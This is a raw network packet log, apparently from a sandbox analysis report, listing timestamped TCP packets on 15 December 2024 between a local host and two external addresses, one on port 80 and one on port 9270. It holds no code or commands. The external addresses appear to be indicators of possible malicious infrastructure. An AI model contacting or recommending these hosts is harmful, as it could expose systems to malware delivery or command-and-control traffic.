Dec 15, 2024 11:59:32.420285940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.420325994 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.420964003 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.421063900 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.421457052 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.421493053 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.422121048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.422137022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.422153950 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.422154903 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.422166109 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.422185898 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.422311068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.422344923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.423346043 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.423384905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.424120903 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.424160957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.427217007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.427275896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.427413940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.427432060 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.427448988 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.427452087 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.427460909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.427495003 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.428081989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.428100109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.428122997 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.428134918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.429208994 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.429225922 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.429250956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.429265976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.430540085 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.430577993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.493223906 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.493299961 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.560494900 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.560554028 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.560658932 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.560693979 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.560816050 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.560851097 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.560966969 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.561003923 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.562108040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.562145948 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.562272072 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.562300920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.563260078 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.563280106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.563293934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.563318968 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.564363956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.564405918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.564496040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.564529896 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.565555096 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.565572977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.565589905 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.565602064 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.566934109 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.566951990 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.566973925 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.566989899 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.567975998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.567994118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.568020105 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.568031073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.569181919 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.569225073 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.569355011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.569391012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.569865942 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.569904089 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.569978952 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.570014954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.570997000 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.571033955 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.571152925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.571186066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.574601889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.574666977 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.574719906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.574738979 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.574757099 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.574763060 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.574771881 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.574795008 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.575095892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.575139046 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.575241089 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.575299025 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.576230049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.576246977 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.576272011 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.576282978 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.577466011 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.577510118 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.577682972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.577729940 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.578569889 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.578588963 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.578608036 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.578623056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.579674959 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.579691887 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.579716921 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.579727888 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.580889940 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.580934048 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.581027985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.581073999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.582123995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.582140923 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.582168102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.582176924 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.583197117 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.583220005 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.583240986 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.583252907 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.584278107 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.584321976 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.584465027 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.584503889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.585582972 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.585634947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.585730076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.585767984 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.586836100 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.586879015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.587007999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.587044001 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.587910891 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.587954044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.588078022 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.588115931 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.589023113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.589066982 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.589179993 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.589219093 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.590262890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.590306044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.590451956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.590491056 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.591550112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.591588020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.591722012 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.591761112 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.592667103 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.592708111 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.592827082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.592863083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.593765974 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.593781948 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.593808889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.593822002 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.594997883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.595015049 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.595038891 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.595052004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.596179962 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.596196890 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.596234083 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.596246004 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.597392082 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.597409964 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.597434998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.597446918 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.598607063 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.598623991 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.598650932 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.598659039 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.599705935 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.599756956 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.599870920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.599909067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.600831985 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.600874901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.600986004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.601027012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.601994038 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.602035999 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.602154016 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.602193117 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.603214025 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.603229046 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.603256941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.603274107 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.604475021 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.604490995 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.604516983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.604528904 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.605657101 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.605717897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.605859041 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.605899096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.606789112 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.606805086 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.606846094 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.606858015 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.607891083 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.607907057 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.607939959 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.607950926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.608558893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.608599901 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.608608007 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.608649969 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.609814882 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.609859943 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.609937906 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.609978914 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.613157034 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.613173008 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.613188028 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.613204956 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.613207102 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.613250017 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.613270998 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.613723040 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.613766909 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.613874912 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.613889933 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.613915920 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.614628077 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.615673065 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.615716934 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.615839958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.615876913 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.617430925 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.617480040 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.617594004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.617635965 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.618541002 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.618614912 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.618693113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.618740082 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.619638920 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.619678020 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.619810104 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.619848967 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.620721102 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.620737076 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.620773077 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.620784044 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.621507883 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.621546030 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.621646881 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.621687889 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.622721910 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.622781038 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.734426975 CET	9270	49797	89.23.100.42	192.168.2.4
Dec 15, 2024 11:59:32.737648010 CET	49797	9270	192.168.2.4	89.23.100.42
Dec 15, 2024 11:59:32.752603054 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.752693892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.752906084 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.753173113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.753211021 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.753290892 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.753596067 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.754312992 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.754349947 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.754410982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.754446983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.755501032 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.755541086 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.755666971 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.755703926 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.756696939 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.756747007 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.756782055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.756819963 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.757842064 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.757936954 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.757991076 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.759023905 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.759073019 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.759170055 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.759205103 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.760221004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.760266066 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.760607004 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.760780096 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.761539936 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.761583090 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.761929989 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.761967897 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.762907982 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.762928009 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.762944937 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.762958050 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.763854980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.763891935 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.763973951 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.764007092 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.764991999 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.765028954 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.765057087 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.765089035 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.766124010 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.766206980 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.766247034 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.767218113 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.767257929 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.767324924 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.767359018 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.768434048 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.768472910 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.768556118 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.768589973 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.769838095 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.769912958 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.769953012 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.770759106 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.770797014 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.771100998 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.771138906 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.771934986 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.771971941 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.772043943 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.772078037 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.773094893 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.773133993 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.773200035 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.773231983 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.774265051 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.774377108 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.774415970 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.775441885 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.775599957 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.775681019 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.775715113 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.776813984 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.776853085 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.777173996 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.777210951 CET	49805	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:32.777929068 CET	80	49805	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:32.778054953 CET	80	49805	31.41.244.11	192.168.2.4
